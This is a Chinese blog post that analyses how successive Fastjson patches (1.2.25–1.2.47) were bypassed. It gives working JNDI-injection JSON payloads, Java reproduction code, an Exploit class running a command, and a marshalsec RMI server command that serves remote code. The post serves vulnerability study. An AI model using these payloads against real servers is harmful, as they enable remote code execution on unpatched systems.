『Java安全』反序列化-FastJson 1.2.25-1.2.47历史版本修复绕过分析_marshasec复现fastjson jndi注入

本文详细分析了Fastjson从1.2.24到1.2.47版本中的多个漏洞,包括黑名单绕过、JNDI注入等,通过代码审计和payload演示了如何利用这些漏洞。同时,文章介绍了每个版本的补丁更新,以及利用这些漏洞的限制条件。
摘要由CSDN通过智能技术生成

前言

在1.2.24爆出后官方进行了多次修复,然而修复后仍然不断有漏洞爆出

fastjson <=1.2.41

旧版本补丁更新分析

运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持
在这里插入图片描述
在DefaultJSONParser.parseObject新调用了checkAutoType
在这里插入图片描述
checkAutoType加入了两个判断:

  • autoTypeSupport配置用于判定是否开启任意类反序列化
  • acceptList和denyList黑白名单用于检查该类是否能被反序列化

默认黑名单包括以下类/开头的类:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

首先,第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错
在这里插入图片描述
第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载
在这里插入图片描述
第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载
在这里插入图片描述

往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:

  • [开头的数组类,把[去除再加载,例如[B
  • L;包裹的引用类,把前后去除再加载,例如Ljava.Object.String;

在这里插入图片描述

payload

ldap同理

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}

由于TemplatesImpl还需要开启Feature.SupportNonPublicField,不做分析

代码审计 | 原理分析

利用至少一层 L; 描述符包裹类名绕过黑名单

JdbcRowSet属于com.sun,被黑名单禁用了,并且我们无法得知白名单的内容默认白名单为空,关键点就在本次更新的autoTypeSupport和黑白名单验证机制。

前两次验证肯定进不去,只能寄希望在第三次验证上面,要保证autoTypeSupport开启否则就进入第二次验证抛出错误了。如果开启了autoTypeSupport就还要保证第一轮判断能通过,要构建一个不存在于黑名单上的类。
在这里插入图片描述
更新的loadClass在处理描述符类的时候,对数组、引用类并没有判断这个类究竟是否真的存在,只是通过字符串比较就直接截取loadClass了
在这里插入图片描述
那么只要把类用L;包裹就能绕过第一轮黑名单判断、并且在loadClass的时候还会帮我们去除L;完成加载,就完成了绕过。

在这里插入图片描述
而且和这里是递归调用,因此理论上可以套很多层L;

代码复现

编译Exploit类放到服务器上

import java.lang.Runtime;

public class Exploit{
	static {
		try {
			System.out.println("rce");
			Runtime.getRuntime().exec("calc.exe");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}
javac Exploit.java
python -m http.server 80

开启marshalsec的rmi服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099

运行复现代码:

package fastjson.Ver2u25to41;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "Lcom.sun.rowset.JdbcRowSetImpl;";
        String rmiURL = "rmi://127.0.0.1/hacked";
        // String ldapURL = "ldap://127.0.0.1:389/hacked";

        String payload1 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
        // String payload2 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + ldapURL +"\", \"autoCommit\":true}\n";

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload1);
        // JSON.parseObject(payload2);
    }
}

在这里插入图片描述

利用缺点

反序列化必须开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);

fastjson <=1.2.42

旧版本补丁更新分析

运行1.2.41的payload,看来又修改了过滤原则
在这里插入图片描述
其中,黑名单为了防止被识别,换成了hash字符串
在这里插入图片描述

黑名单分析

这里放一下其他师傅破解的黑名单

LeadroyaL/fastjson-blacklist


另外判断前进行了字符去除
在这里插入图片描述
先用debug看看checkAutoType新增的过滤:发现这里通过运算先过滤了一次L;
在这里插入图片描述

payload

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}

代码审计 | 原理分析

利用至少两层 L; 描述符包裹类名绕过黑名单

既然过滤了一次L;,那就双写绕过,后续loadClass是递归调用,那么用至少两层包裹都能绕过。

代码复现

package fastjson.Ver2u42;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "LLcom.sun.rowset.JdbcRowSetImpl;;";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);

    }
}

在这里插入图片描述

利用缺点

反序列化必须开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);

fastjson <=1.2.43

旧版本补丁更新分析

运行1.2.42的payload,又被ban了
在这里插入图片描述
修改了对L;的判断,这里修改为如果类名首尾以L;包裹、并且两个LL开头就报错
在这里插入图片描述
看来官方是把这条路完全封死了

payload

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
	{"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}

代码审计 | 原理分析

类名前加 [ 描述符绕过黑名单

既然多个L;无法绕过,还有数组形式[的绕过
在这里插入图片描述
尝试只插入一个[,在解析的时候语义解析出错了,提示逗号前面缺一个[
在这里插入图片描述

完善语法

根据语义提示补全,在逗号前面加一个[,又提示44处缺一个{,位置在dataSourceName属性的左双引号前面
在这里插入图片描述

代码复现

package fastjson.Ver2u43;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "[com.sun.rowset.JdbcRowSetImpl";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{\"@type\":\""+ typeName +"\"[, {\"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(payload);
        JSON.parseObject(payload);
    }
}

在这里插入图片描述

利用缺点

依旧需要开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);

fastjson <=1.2.45

旧版本补丁更新分析

1.2.44彻底把上述两种绕过ban了,只要[开头全ban了
在这里插入图片描述

payload

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"rmi://127.0.0.1/hacked"
    }
}

代码审计 | 原理分析

mybatis3 <=3.4.6 setProperties()触发jndi注入

在这里插入图片描述

手动调用JndiDataSourceFactory.setProperties()示例代码
package fastjson.Ver2u45;

import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.util.Properties;

public class MybatisTest {
    public static void main(String[] args) throws Exception {
        JndiDataSourceFactory factory = new JndiDataSourceFactory();
        Properties properties = new Properties();
        properties.setProperty("data_source", "rmi://127.0.0.1/hacked");
        factory.setProperties(properties);
    }
}

在这里插入图片描述

mybatis未被列入黑名单可以利用

恰好这个方法是setter方法,能被fastjson调用,而且参考黑名单发现这个类没有被ban,就用这个类完成jndi注入

代码复现

package fastjson.Ver2u45;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{\"@type\":\""+ typeName +"\", \"properties\":{\"data_source\":\""+ rmiURL +"\"}}\n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);
    }
}

在这里插入图片描述

利用缺点

  • 需要mybatis3 <=3.4.6
  • 依旧需要开启autoTypeSupport

fastjson <= 1.2.47 通杀

旧版本补丁更新分析

mybatis在1.2.46也被ban了,因此上面的方法都不行了
在这里插入图片描述

payload

1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意

{
	{
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	{
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://127.0.0.1/hacked",
		"autoCommit": true
	}
}

代码审计 | 通杀原理分析

@type是Class类时会加载val对应的类并写入缓存

  • 关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass
  • 开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass

在这里插入图片描述
IdentifyHashMap存了很多基础类,匹配到直接返回
在这里插入图片描述
然后checkAutoType也就返回了
在这里插入图片描述

checkAutoType返回后DefaultJSONParser继续运行,来到deserialize继续进行解析
在这里插入图片描述
进入了MiscCodec.deserialize,这里从val参数获取了值

在这里插入图片描述
传给了strVal
在这里插入图片描述
往下走,如果@type是Class类,那么就会调用TypeUtils.loadClass加载val参数对应的类
在这里插入图片描述
默认缓存开启,首先去缓存中查找,首次加载肯定找不到,就来到之后else,在里面完成了类加载并且写入了缓存
在这里插入图片描述
因此我们可以首先把JdbcRowSetImpl加载到缓存中,这样根本不会经过黑名单验证

关闭autoTypeSupport加载类会先去缓存Map中查找

如果缓存Map有JdbcRowSetImpl类,那么checkAutoType就会直接返回
在这里插入图片描述
因此首先加载Class、再加载JdbcRowSetImpl就完成了绕过,这里就采用了两层JSON嵌套

代码复现

autoTypeSupport可开可不开

package fastjson.Ver2u47;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.rowset.JdbcRowSetImpl";
        String className = "java.lang.Class";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{{\"@type\": \""+ className +"\", \"val\": \""+ typeName +"\"}, {\"@type\": \""+ typeName +"\", \"dataSourceName\": \"" + rmiURL +"\", \"autoCommit\": true}}\n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(payload);
        JSON.parseObject(payload);

    }
}

在这里插入图片描述

利用优点

通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的

1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意

参考

https://www.freebuf.com/vuls/276812.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123364720
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值